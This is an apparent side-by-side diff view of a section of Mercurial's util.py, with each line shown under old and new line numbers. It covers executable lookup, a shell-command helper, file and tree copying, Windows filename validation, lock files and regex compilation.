1012 """
987 return (safehasattr(sys, "frozen") or # new py2exe
1013 return (safehasattr(sys, "frozen") or # new py2exe
988 safehasattr(sys, "importers") or # old py2exe
1014 safehasattr(sys, "importers") or # old py2exe
989 imp.is_frozen(u"__main__")) # tools/freeze
1015 imp.is_frozen(u"__main__")) # tools/freeze
990
1016
991 # the location of data files matching the source code
1017 # the location of data files matching the source code
992 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1018 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
993 # executable version (py2exe) doesn't support __file__
1019 # executable version (py2exe) doesn't support __file__
994 datapath = os.path.dirname(pycompat.sysexecutable)
1020 datapath = os.path.dirname(pycompat.sysexecutable)
995 else:
1021 else:
996 datapath = os.path.dirname(pycompat.fsencode(__file__))
1022 datapath = os.path.dirname(pycompat.fsencode(__file__))
997
1023
998 i18n.setdatapath(datapath)
1024 i18n.setdatapath(datapath)
999
1025
1000 _hgexecutable = None
1026 _hgexecutable = None
1001
1027
1002 def hgexecutable():
1028 def hgexecutable():
1003 """return location of the 'hg' executable.
1029 """return location of the 'hg' executable.
1004
1030
1005 Defaults to $HG or 'hg' in the search path.
1031 Defaults to $HG or 'hg' in the search path.
1006 """
1032 """
1007 if _hgexecutable is None:
1033 if _hgexecutable is None:
1008 hg = encoding.environ.get('HG')
1034 hg = encoding.environ.get('HG')
1009 mainmod = sys.modules[pycompat.sysstr('__main__')]
1035 mainmod = sys.modules[pycompat.sysstr('__main__')]
1010 if hg:
1036 if hg:
1011 _sethgexecutable(hg)
1037 _sethgexecutable(hg)
1012 elif mainfrozen():
1038 elif mainfrozen():
1013 if getattr(sys, 'frozen', None) == 'macosx_app':
1039 if getattr(sys, 'frozen', None) == 'macosx_app':
1014 # Env variable set by py2app
1040 # Env variable set by py2app
1015 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1041 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1016 else:
1042 else:
1017 _sethgexecutable(pycompat.sysexecutable)
1043 _sethgexecutable(pycompat.sysexecutable)
1018 elif (os.path.basename(
1044 elif (os.path.basename(
1019 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1045 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1020 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1046 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1021 else:
1047 else:
1022 exe = findexe('hg') or os.path.basename(sys.argv[0])
1048 exe = findexe('hg') or os.path.basename(sys.argv[0])
1023 _sethgexecutable(exe)
1049 _sethgexecutable(exe)
1024 return _hgexecutable
1050 return _hgexecutable
1025
1051
1026 def _sethgexecutable(path):
1052 def _sethgexecutable(path):
1027 """set location of the 'hg' executable"""
1053 """set location of the 'hg' executable"""
1028 global _hgexecutable
1054 global _hgexecutable
1029 _hgexecutable = path
1055 _hgexecutable = path
1030
1056
1031 def _isstdout(f):
1057 def _isstdout(f):
1032 fileno = getattr(f, 'fileno', None)
1058 fileno = getattr(f, 'fileno', None)
1033 return fileno and fileno() == sys.__stdout__.fileno()
1059 return fileno and fileno() == sys.__stdout__.fileno()
1034
1060
1035 def shellenviron(environ=None):
1061 def shellenviron(environ=None):
1036 """return environ with optional override, useful for shelling out"""
1062 """return environ with optional override, useful for shelling out"""
1037 def py2shell(val):
1063 def py2shell(val):
1038 'convert python object into string that is useful to shell'
1064 'convert python object into string that is useful to shell'
1039 if val is None or val is False:
1065 if val is None or val is False:
1040 return '0'
1066 return '0'
1041 if val is True:
1067 if val is True:
1042 return '1'
1068 return '1'
1043 return str(val)
1069 return str(val)
1044 env = dict(encoding.environ)
1070 env = dict(encoding.environ)
1045 if environ:
1071 if environ:
1046 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1072 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1047 env['HG'] = hgexecutable()
1073 env['HG'] = hgexecutable()
1048 return env
1074 return env
1049
1075
1050 def system(cmd, environ=None, cwd=None, out=None):
1076 def system(cmd, environ=None, cwd=None, out=None):
1051 '''enhanced shell command execution.
1077 '''enhanced shell command execution.
1052 run with environment maybe modified, maybe in different dir.
1078 run with environment maybe modified, maybe in different dir.
1053
1079
1054 if out is specified, it is assumed to be a file-like object that has a
1080 if out is specified, it is assumed to be a file-like object that has a
1055 write() method. stdout and stderr will be redirected to out.'''
1081 write() method. stdout and stderr will be redirected to out.'''
1056 try:
1082 try:
1057 stdout.flush()
1083 stdout.flush()
1058 except Exception:
1084 except Exception:
1059 pass
1085 pass
1060 cmd = quotecommand(cmd)
1086 cmd = quotecommand(cmd)
1061 env = shellenviron(environ)
1087 env = shellenviron(environ)
1062 if out is None or _isstdout(out):
1088 if out is None or _isstdout(out):
1063 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1089 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1064 env=env, cwd=cwd)
1090 env=env, cwd=cwd)
1065 else:
1091 else:
1066 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1092 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1067 env=env, cwd=cwd, stdout=subprocess.PIPE,
1093 env=env, cwd=cwd, stdout=subprocess.PIPE,
1068 stderr=subprocess.STDOUT)
1094 stderr=subprocess.STDOUT)
1069 for line in iter(proc.stdout.readline, ''):
1095 for line in iter(proc.stdout.readline, ''):
1070 out.write(line)
1096 out.write(line)
1071 proc.wait()
1097 proc.wait()
1072 rc = proc.returncode
1098 rc = proc.returncode
1073 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1099 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1074 rc = 0
1100 rc = 0
1075 return rc
1101 return rc
1076
1102
1077 def checksignature(func):
1103 def checksignature(func):
1078 '''wrap a function with code to check for calling errors'''
1104 '''wrap a function with code to check for calling errors'''
1079 def check(*args, **kwargs):
1105 def check(*args, **kwargs):
1080 try:
1106 try:
1081 return func(*args, **kwargs)
1107 return func(*args, **kwargs)
1082 except TypeError:
1108 except TypeError:
1083 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1109 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1084 raise error.SignatureError
1110 raise error.SignatureError
1085 raise
1111 raise
1086
1112
1087 return check
1113 return check
1088
1114
1089 # a whilelist of known filesystems where hardlink works reliably
1115 # a whilelist of known filesystems where hardlink works reliably
1090 _hardlinkfswhitelist = {
1116 _hardlinkfswhitelist = {
1091 'btrfs',
1117 'btrfs',
1092 'ext2',
1118 'ext2',
1093 'ext3',
1119 'ext3',
1094 'ext4',
1120 'ext4',
1095 'hfs',
1121 'hfs',
1096 'jfs',
1122 'jfs',
1097 'reiserfs',
1123 'reiserfs',
1098 'tmpfs',
1124 'tmpfs',
1099 'ufs',
1125 'ufs',
1100 'xfs',
1126 'xfs',
1101 'zfs',
1127 'zfs',
1102 }
1128 }
1103
1129
1104 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1130 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1105 '''copy a file, preserving mode and optionally other stat info like
1131 '''copy a file, preserving mode and optionally other stat info like
1106 atime/mtime
1132 atime/mtime
1107
1133
1108 checkambig argument is used with filestat, and is useful only if
1134 checkambig argument is used with filestat, and is useful only if
1109 destination file is guarded by any lock (e.g. repo.lock or
1135 destination file is guarded by any lock (e.g. repo.lock or
1110 repo.wlock).
1136 repo.wlock).
1111
1137
1112 copystat and checkambig should be exclusive.
1138 copystat and checkambig should be exclusive.
1113 '''
1139 '''
1114 assert not (copystat and checkambig)
1140 assert not (copystat and checkambig)
1115 oldstat = None
1141 oldstat = None
1116 if os.path.lexists(dest):
1142 if os.path.lexists(dest):
1117 if checkambig:
1143 if checkambig:
1118 oldstat = checkambig and filestat.frompath(dest)
1144 oldstat = checkambig and filestat.frompath(dest)
1119 unlink(dest)
1145 unlink(dest)
1120 if hardlink:
1146 if hardlink:
1121 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1147 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1122 # unless we are confident that dest is on a whitelisted filesystem.
1148 # unless we are confident that dest is on a whitelisted filesystem.
1123 try:
1149 try:
1124 fstype = getfstype(os.path.dirname(dest))
1150 fstype = getfstype(os.path.dirname(dest))
1125 except OSError:
1151 except OSError:
1126 fstype = None
1152 fstype = None
1127 if fstype not in _hardlinkfswhitelist:
1153 if fstype not in _hardlinkfswhitelist:
1128 hardlink = False
1154 hardlink = False
1129 if hardlink:
1155 if hardlink:
1130 try:
1156 try:
1131 oslink(src, dest)
1157 oslink(src, dest)
1132 return
1158 return
1133 except (IOError, OSError):
1159 except (IOError, OSError):
1134 pass # fall back to normal copy
1160 pass # fall back to normal copy
1135 if os.path.islink(src):
1161 if os.path.islink(src):
1136 os.symlink(os.readlink(src), dest)
1162 os.symlink(os.readlink(src), dest)
1137 # copytime is ignored for symlinks, but in general copytime isn't needed
1163 # copytime is ignored for symlinks, but in general copytime isn't needed
1138 # for them anyway
1164 # for them anyway
1139 else:
1165 else:
1140 try:
1166 try:
1141 shutil.copyfile(src, dest)
1167 shutil.copyfile(src, dest)
1142 if copystat:
1168 if copystat:
1143 # copystat also copies mode
1169 # copystat also copies mode
1144 shutil.copystat(src, dest)
1170 shutil.copystat(src, dest)
1145 else:
1171 else:
1146 shutil.copymode(src, dest)
1172 shutil.copymode(src, dest)
1147 if oldstat and oldstat.stat:
1173 if oldstat and oldstat.stat:
1148 newstat = filestat.frompath(dest)
1174 newstat = filestat.frompath(dest)
1149 if newstat.isambig(oldstat):
1175 if newstat.isambig(oldstat):
1150 # stat of copied file is ambiguous to original one
1176 # stat of copied file is ambiguous to original one
1151 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1177 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1152 os.utime(dest, (advanced, advanced))
1178 os.utime(dest, (advanced, advanced))
1153 except shutil.Error as inst:
1179 except shutil.Error as inst:
1154 raise Abort(str(inst))
1180 raise Abort(str(inst))
1155
1181
1156 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1182 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1157 """Copy a directory tree using hardlinks if possible."""
1183 """Copy a directory tree using hardlinks if possible."""
1158 num = 0
1184 num = 0
1159
1185
1160 gettopic = lambda: hardlink and _('linking') or _('copying')
1186 gettopic = lambda: hardlink and _('linking') or _('copying')
1161
1187
1162 if os.path.isdir(src):
1188 if os.path.isdir(src):
1163 if hardlink is None:
1189 if hardlink is None:
1164 hardlink = (os.stat(src).st_dev ==
1190 hardlink = (os.stat(src).st_dev ==
1165 os.stat(os.path.dirname(dst)).st_dev)
1191 os.stat(os.path.dirname(dst)).st_dev)
1166 topic = gettopic()
1192 topic = gettopic()
1167 os.mkdir(dst)
1193 os.mkdir(dst)
1168 for name, kind in listdir(src):
1194 for name, kind in listdir(src):
1169 srcname = os.path.join(src, name)
1195 srcname = os.path.join(src, name)
1170 dstname = os.path.join(dst, name)
1196 dstname = os.path.join(dst, name)
1171 def nprog(t, pos):
1197 def nprog(t, pos):
1172 if pos is not None:
1198 if pos is not None:
1173 return progress(t, pos + num)
1199 return progress(t, pos + num)
1174 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1200 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1175 num += n
1201 num += n
1176 else:
1202 else:
1177 if hardlink is None:
1203 if hardlink is None:
1178 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1204 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1179 os.stat(os.path.dirname(dst)).st_dev)
1205 os.stat(os.path.dirname(dst)).st_dev)
1180 topic = gettopic()
1206 topic = gettopic()
1181
1207
1182 if hardlink:
1208 if hardlink:
1183 try:
1209 try:
1184 oslink(src, dst)
1210 oslink(src, dst)
1185 except (IOError, OSError):
1211 except (IOError, OSError):
1186 hardlink = False
1212 hardlink = False
1187 shutil.copy(src, dst)
1213 shutil.copy(src, dst)
1188 else:
1214 else:
1189 shutil.copy(src, dst)
1215 shutil.copy(src, dst)
1190 num += 1
1216 num += 1
1191 progress(topic, num)
1217 progress(topic, num)
1192 progress(topic, None)
1218 progress(topic, None)
1193
1219
1194 return hardlink, num
1220 return hardlink, num
1195
1221
1196 _winreservednames = b'''con prn aux nul
1222 _winreservednames = b'''con prn aux nul
1197 com1 com2 com3 com4 com5 com6 com7 com8 com9
1223 com1 com2 com3 com4 com5 com6 com7 com8 com9
1198 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1224 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1199 _winreservedchars = ':*?"<>|'
1225 _winreservedchars = ':*?"<>|'
1200 def checkwinfilename(path):
1226 def checkwinfilename(path):
1201 r'''Check that the base-relative path is a valid filename on Windows.
1227 r'''Check that the base-relative path is a valid filename on Windows.
1202 Returns None if the path is ok, or a UI string describing the problem.
1228 Returns None if the path is ok, or a UI string describing the problem.
1203
1229
1204 >>> checkwinfilename("just/a/normal/path")
1230 >>> checkwinfilename("just/a/normal/path")
1205 >>> checkwinfilename("foo/bar/con.xml")
1231 >>> checkwinfilename("foo/bar/con.xml")
1206 "filename contains 'con', which is reserved on Windows"
1232 "filename contains 'con', which is reserved on Windows"
1207 >>> checkwinfilename("foo/con.xml/bar")
1233 >>> checkwinfilename("foo/con.xml/bar")
1208 "filename contains 'con', which is reserved on Windows"
1234 "filename contains 'con', which is reserved on Windows"
1209 >>> checkwinfilename("foo/bar/xml.con")
1235 >>> checkwinfilename("foo/bar/xml.con")
1210 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1236 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1211 "filename contains 'AUX', which is reserved on Windows"
1237 "filename contains 'AUX', which is reserved on Windows"
1212 >>> checkwinfilename("foo/bar/bla:.txt")
1238 >>> checkwinfilename("foo/bar/bla:.txt")
1213 "filename contains ':', which is reserved on Windows"
1239 "filename contains ':', which is reserved on Windows"
1214 >>> checkwinfilename("foo/bar/b\07la.txt")
1240 >>> checkwinfilename("foo/bar/b\07la.txt")
1215 "filename contains '\\x07', which is invalid on Windows"
1241 "filename contains '\\x07', which is invalid on Windows"
1216 >>> checkwinfilename("foo/bar/bla ")
1242 >>> checkwinfilename("foo/bar/bla ")
1217 "filename ends with ' ', which is not allowed on Windows"
1243 "filename ends with ' ', which is not allowed on Windows"
1218 >>> checkwinfilename("../bar")
1244 >>> checkwinfilename("../bar")
1219 >>> checkwinfilename("foo\\")
1245 >>> checkwinfilename("foo\\")
1220 "filename ends with '\\', which is invalid on Windows"
1246 "filename ends with '\\', which is invalid on Windows"
1221 >>> checkwinfilename("foo\\/bar")
1247 >>> checkwinfilename("foo\\/bar")
1222 "directory name ends with '\\', which is invalid on Windows"
1248 "directory name ends with '\\', which is invalid on Windows"
1223 '''
1249 '''
1224 if path.endswith('\\'):
1250 if path.endswith('\\'):
1225 return _("filename ends with '\\', which is invalid on Windows")
1251 return _("filename ends with '\\', which is invalid on Windows")
1226 if '\\/' in path:
1252 if '\\/' in path:
1227 return _("directory name ends with '\\', which is invalid on Windows")
1253 return _("directory name ends with '\\', which is invalid on Windows")
1228 for n in path.replace('\\', '/').split('/'):
1254 for n in path.replace('\\', '/').split('/'):
1229 if not n:
1255 if not n:
1230 continue
1256 continue
1231 for c in _filenamebytestr(n):
1257 for c in _filenamebytestr(n):
1232 if c in _winreservedchars:
1258 if c in _winreservedchars:
1233 return _("filename contains '%s', which is reserved "
1259 return _("filename contains '%s', which is reserved "
1234 "on Windows") % c
1260 "on Windows") % c
1235 if ord(c) <= 31:
1261 if ord(c) <= 31:
1236 return _("filename contains %r, which is invalid "
1262 return _("filename contains %r, which is invalid "
1237 "on Windows") % c
1263 "on Windows") % c
1238 base = n.split('.')[0]
1264 base = n.split('.')[0]
1239 if base and base.lower() in _winreservednames:
1265 if base and base.lower() in _winreservednames:
1240 return _("filename contains '%s', which is reserved "
1266 return _("filename contains '%s', which is reserved "
1241 "on Windows") % base
1267 "on Windows") % base
1242 t = n[-1]
1268 t = n[-1]
1243 if t in '. ' and n not in '..':
1269 if t in '. ' and n not in '..':
1244 return _("filename ends with '%s', which is not allowed "
1270 return _("filename ends with '%s', which is not allowed "
1245 "on Windows") % t
1271 "on Windows") % t
1246
1272
1247 if pycompat.osname == 'nt':
1273 if pycompat.osname == 'nt':
1248 checkosfilename = checkwinfilename
1274 checkosfilename = checkwinfilename
1249 timer = time.clock
1275 timer = time.clock
1250 else:
1276 else:
1251 checkosfilename = platform.checkosfilename
1277 checkosfilename = platform.checkosfilename
1252 timer = time.time
1278 timer = time.time
1253
1279
1254 if safehasattr(time, "perf_counter"):
1280 if safehasattr(time, "perf_counter"):
1255 timer = time.perf_counter
1281 timer = time.perf_counter
1256
1282
1257 def makelock(info, pathname):
1283 def makelock(info, pathname):
1258 try:
1284 try:
1259 return os.symlink(info, pathname)
1285 return os.symlink(info, pathname)
1260 except OSError as why:
1286 except OSError as why:
1261 if why.errno == errno.EEXIST:
1287 if why.errno == errno.EEXIST:
1262 raise
1288 raise
1263 except AttributeError: # no symlink in os
1289 except AttributeError: # no symlink in os
1264 pass
1290 pass
1265
1291
1266 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1292 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1267 os.write(ld, info)
1293 os.write(ld, info)
1268 os.close(ld)
1294 os.close(ld)
1269
1295
1270 def readlock(pathname):
1296 def readlock(pathname):
1271 try:
1297 try:
1272 return os.readlink(pathname)
1298 return os.readlink(pathname)
1273 except OSError as why:
1299 except OSError as why:
1274 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1300 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1275 raise
1301 raise
1276 except AttributeError: # no symlink in os
1302 except AttributeError: # no symlink in os
1277 pass
1303 pass
1278 fp = posixfile(pathname)
1304 fp = posixfile(pathname)
1279 r = fp.read()
1305 r = fp.read()
1280 fp.close()
1306 fp.close()
1281 return r
1307 return r
1282
1308
1283 def fstat(fp):
1309 def fstat(fp):
1284 '''stat file object that may not have fileno method.'''
1310 '''stat file object that may not have fileno method.'''
1285 try:
1311 try:
1286 return os.fstat(fp.fileno())
1312 return os.fstat(fp.fileno())
1287 except AttributeError:
1313 except AttributeError:
1288 return os.stat(fp.name)
1314 return os.stat(fp.name)
1289
1315
1290 # File system features
1316 # File system features
1291
1317
1292 def fscasesensitive(path):
1318 def fscasesensitive(path):
1293 """
1319 """
1294 Return true if the given path is on a case-sensitive filesystem
1320 Return true if the given path is on a case-sensitive filesystem
1295
1321
1296 Requires a path (like /foo/.hg) ending with a foldable final
1322 Requires a path (like /foo/.hg) ending with a foldable final
1297 directory component.
1323 directory component.
1298 """
1324 """
1299 s1 = os.lstat(path)
1325 s1 = os.lstat(path)
1300 d, b = os.path.split(path)
1326 d, b = os.path.split(path)
1301 b2 = b.upper()
1327 b2 = b.upper()
1302 if b == b2:
1328 if b == b2:
1303 b2 = b.lower()
1329 b2 = b.lower()
1304 if b == b2:
1330 if b == b2:
1305 return True # no evidence against case sensitivity
1331 return True # no evidence against case sensitivity
1306 p2 = os.path.join(d, b2)
1332 p2 = os.path.join(d, b2)
1307 try:
1333 try:
1308 s2 = os.lstat(p2)
1334 s2 = os.lstat(p2)
1309 if s2 == s1:
1335 if s2 == s1:
1310 return False
1336 return False
1311 return True
1337 return True
1312 except OSError:
1338 except OSError:
1313 return True
1339 return True
1314
1340
1315 try:
1341 try:
1316 import re2
1342 import re2
1317 _re2 = None
1343 _re2 = None
1318 except ImportError:
1344 except ImportError:
1319 _re2 = False
1345 _re2 = False
1320
1346
1321 class _re(object):
1347 class _re(object):
1322 def _checkre2(self):
1348 def _checkre2(self):
1323 global _re2
1349 global _re2
1324 try:
1350 try:
1325 # check if match works, see issue3964
1351 # check if match works, see issue3964
1326 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1352 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1327 except ImportError:
1353 except ImportError:
1328 _re2 = False
1354 _re2 = False
1329
1355
1330 def compile(self, pat, flags=0):
1356 def compile(self, pat, flags=0):
1331 '''Compile a regular expression, using re2 if possible
1357 '''Compile a regular expression, using re2 if possible
1332
1358
1333 For best performance, use only re2-compatible regexp features. The
1359 For best performance, use only re2-compatible regexp features. The
1334 only flags from the re module that are re2-compatible are
1360 only flags from the re module that are re2-compatible are
1335 IGNORECASE and MULTILINE.'''
1361 IGNORECASE and MULTILINE.'''
1336 if _re2 is None:
1362 if _re2 is None:
1337 self._checkre2()
1363 self._checkre2()
1338 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1364 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1339 if flags & remod.IGNORECASE:
1365 if flags & remod.IGNORECASE:
1340 pat = '(?i)' + pat
1366 pat = '(?i)' + pat
1341 if flags & remod.MULTILINE:
1367 if flags & remod.MULTILINE:
1342 pat = '(?m)' + pat
1368 pat = '(?m)' + pat
1343 try:
1369 try:
1344 return re2.compile(pat)
1370 return re2.compile(pat)
1345 except re2.error:
1371 except re2.error:
1346 pass
1372 pass
1347 return remod.compile(pat, flags)
1373 return remod.compile(pat, flags)
1348
1374
1349 @propertycache
1375 @propertycache
1350 def escape(self):
1376 def escape(self):
1351 '''Return the version of escape corresponding to self.compile.
1377 '''Return the version of escape corresponding to self.compile.
1352
1378
1353 This is imperfect because whether re2 or re is used for a particular
1379 This is imperfect because whether re2 or re is used for a particular
1354 function depends on the flags, etc, but it's the best we can do.
1380 function depends on the flags, etc, but it's the best we can do.
1355 '''
1381 '''
1356 global _re2
1382 global _re2
1357 if _re2 is None:
1383 if _re2 is None:
1358 self._checkre2()
1384 self._checkre2()
1359 if _re2:
1385 if _re2:
1360 return re2.escape
1386 return re2.escape
1361 else:
1387 else:
1362 return remod.escape
1388 return remod.escape
1363
1389
1364 re = _re()
1390 re = _re()
1365
1391
1366 _fspathcache = {}
1392 _fspathcache = {}
1367 def fspath(name, root):
1393 def fspath(name, root):
1368 '''Get name in the case stored in the filesystem
1394 '''Get name in the case stored in the filesystem
1369
1395
1370 The name should be relative to root, and be normcase-ed for efficiency.
1396 The name should be relative to root, and be normcase-ed for efficiency.
1371
1397
1372 Note that this function is unnecessary, and should not be
1398 Note that this function is unnecessary, and should not be
1373 called, for case-sensitive filesystems (simply because it's expensive).
1399 called, for case-sensitive filesystems (simply because it's expensive).
1374
1400
1375 The root should be normcase-ed, too.
1401 The root should be normcase-ed, too.
1376 '''
1402 '''
1377 def _makefspathcacheentry(dir):
1403 def _makefspathcacheentry(dir):
1378 return dict((normcase(n), n) for n in os.listdir(dir))
1404 return dict((normcase(n), n) for n in os.listdir(dir))
1379
1405
1380 seps = pycompat.ossep
1406 seps = pycompat.ossep
1381 if pycompat.osaltsep:
1407 if pycompat.osaltsep:
1382 seps = seps + pycompat.osaltsep
1408 seps = seps + pycompat.osaltsep
1383 # Protect backslashes. This gets silly very quickly.
1409 # Protect backslashes. This gets silly very quickly.
1384 seps.replace('\\','\\\\')
1410 seps.replace('\\','\\\\')
1385 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1411 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1386 dir = os.path.normpath(root)
1412 dir = os.path.normpath(root)
1387 result = []
1413 result = []
1388 for part, sep in pattern.findall(name):
1414 for part, sep in pattern.findall(name):
1389 if sep:
1415 if sep:
1390 result.append(sep)
1416 result.append(sep)
1391 continue
1417 continue
1392
1418
1393 if dir not in _fspathcache:
1419 if dir not in _fspathcache:
1394 _fspathcache[dir] = _makefspathcacheentry(dir)
1420 _fspathcache[dir] = _makefspathcacheentry(dir)
1395 contents = _fspathcache[dir]
1421 contents = _fspathcache[dir]
1396
1422
1397 found = contents.get(part)
1423 found = contents.get(part)
1398 if not found:
1424 if not found:
1399 # retry "once per directory" per "dirstate.walk" which
1425 # retry "once per directory" per "dirstate.walk" which
1400 # may take place for each patches of "hg qpush", for example
1426 # may take place for each patches of "hg qpush", for example
1401 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1427 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1402 found = contents.get(part)
1428 found = contents.get(part)
1403
1429
1404 result.append(found or part)
1430 result.append(found or part)
1405 dir = os.path.join(dir, part)
1431 dir = os.path.join(dir, part)
1406
1432
1407 return ''.join(result)
1433 return ''.join(result)
1408
1434
1409 def getfstype(dirpath):
1435 def getfstype(dirpath):
1410 '''Get the filesystem type name from a directory (best-effort)
1436 '''Get the filesystem type name from a directory (best-effort)
1411
1437
1412 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1438 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1413 '''
1439 '''
1414 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1440 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1415
1441
1416 def checknlink(testfile):
1442 def checknlink(testfile):
1417 '''check whether hardlink count reporting works properly'''
1443 '''check whether hardlink count reporting works properly'''
1418
1444
1419 # testfile may be open, so we need a separate file for checking to
1445 # testfile may be open, so we need a separate file for checking to
1420 # work around issue2543 (or testfile may get lost on Samba shares)
1446 # work around issue2543 (or testfile may get lost on Samba shares)
1421 f1 = testfile + ".hgtmp1"
1447 f1 = testfile + ".hgtmp1"
1422 if os.path.lexists(f1):
1448 if os.path.lexists(f1):
1423 return False
1449 return False
1424 try:
1450 try:
1425 posixfile(f1, 'w').close()
1451 posixfile(f1, 'w').close()
1426 except IOError:
1452 except IOError:
1427 try:
1453 try:
1428 os.unlink(f1)
1454 os.unlink(f1)
1429 except OSError:
1455 except OSError:
1430 pass
1456 pass
1431 return False
1457 return False
1432
1458
1433 f2 = testfile + ".hgtmp2"
1459 f2 = testfile + ".hgtmp2"
1434 fd = None
1460 fd = None
1435 try:
1461 try:
1436 oslink(f1, f2)
1462 oslink(f1, f2)
1437 # nlinks() may behave differently for files on Windows shares if
1463 # nlinks() may behave differently for files on Windows shares if
1438 # the file is open.
1464 # the file is open.
1439 fd = posixfile(f2)
1465 fd = posixfile(f2)
1440 return nlinks(f2) > 1
1466 return nlinks(f2) > 1
1441 except OSError:
1467 except OSError:
1442 return False
1468 return False
1443 finally:
1469 finally:
1444 if fd is not None:
1470 if fd is not None:
1445 fd.close()
1471 fd.close()
1446 for f in (f1, f2):
1472 for f in (f1, f2):
1447 try:
1473 try:
1448 os.unlink(f)
1474 os.unlink(f)
1449 except OSError:
1475 except OSError:
1450 pass
1476 pass
1451
1477
1452 def endswithsep(path):
1478 def endswithsep(path):
1453 '''Check path ends with os.sep or os.altsep.'''
1479 '''Check path ends with os.sep or os.altsep.'''
1454 return (path.endswith(pycompat.ossep)
1480 return (path.endswith(pycompat.ossep)
1455 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1481 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1456
1482
1457 def splitpath(path):
1483 def splitpath(path):
1458 '''Split path by os.sep.
1484 '''Split path by os.sep.
1459 Note that this function does not use os.altsep because this is
1485 Note that this function does not use os.altsep because this is
1460 an alternative of simple "xxx.split(os.sep)".
1486 an alternative of simple "xxx.split(os.sep)".
1461 It is recommended to use os.path.normpath() before using this
1487 It is recommended to use os.path.normpath() before using this
1462 function if need.'''
1488 function if need.'''
1463 return path.split(pycompat.ossep)
1489 return path.split(pycompat.ossep)
1464
1490
1465 def gui():
1491 def gui():
1466 '''Are we running in a GUI?'''
1492 '''Are we running in a GUI?'''
1467 if pycompat.sysplatform == 'darwin':
1493 if pycompat.sysplatform == 'darwin':
1468 if 'SSH_CONNECTION' in encoding.environ:
1494 if 'SSH_CONNECTION' in encoding.environ:
1469 # handle SSH access to a box where the user is logged in
1495 # handle SSH access to a box where the user is logged in
1470 return False
1496 return False
1471 elif getattr(osutil, 'isgui', None):
1497 elif getattr(osutil, 'isgui', None):
1472 # check if a CoreGraphics session is available
1498 # check if a CoreGraphics session is available
1473 return osutil.isgui()
1499 return osutil.isgui()
1474 else:
1500 else:
1475 # pure build; use a safe default
1501 # pure build; use a safe default
1476 return True
1502 return True
1477 else:
1503 else:
1478 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1504 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1479
1505
1480 def mktempcopy(name, emptyok=False, createmode=None):
1506 def mktempcopy(name, emptyok=False, createmode=None):
1481 """Create a temporary file with the same contents from name
1507 """Create a temporary file with the same contents from name
1482
1508
1483 The permission bits are copied from the original file.
1509 The permission bits are copied from the original file.
1484
1510
1485 If the temporary file is going to be truncated immediately, you
1511 If the temporary file is going to be truncated immediately, you
1486 can use emptyok=True as an optimization.
1512 can use emptyok=True as an optimization.
1487
1513
1488 Returns the name of the temporary file.
1514 Returns the name of the temporary file.
1489 """
1515 """
1490 d, fn = os.path.split(name)
1516 d, fn = os.path.split(name)
1491 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1517 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1492 os.close(fd)
1518 os.close(fd)
1493 # Temporary files are created with mode 0600, which is usually not
1519 # Temporary files are created with mode 0600, which is usually not
1494 # what we want. If the original file already exists, just copy
1520 # what we want. If the original file already exists, just copy
1495 # its mode. Otherwise, manually obey umask.
1521 # its mode. Otherwise, manually obey umask.
1496 copymode(name, temp, createmode)
1522 copymode(name, temp, createmode)
1497 if emptyok:
1523 if emptyok:
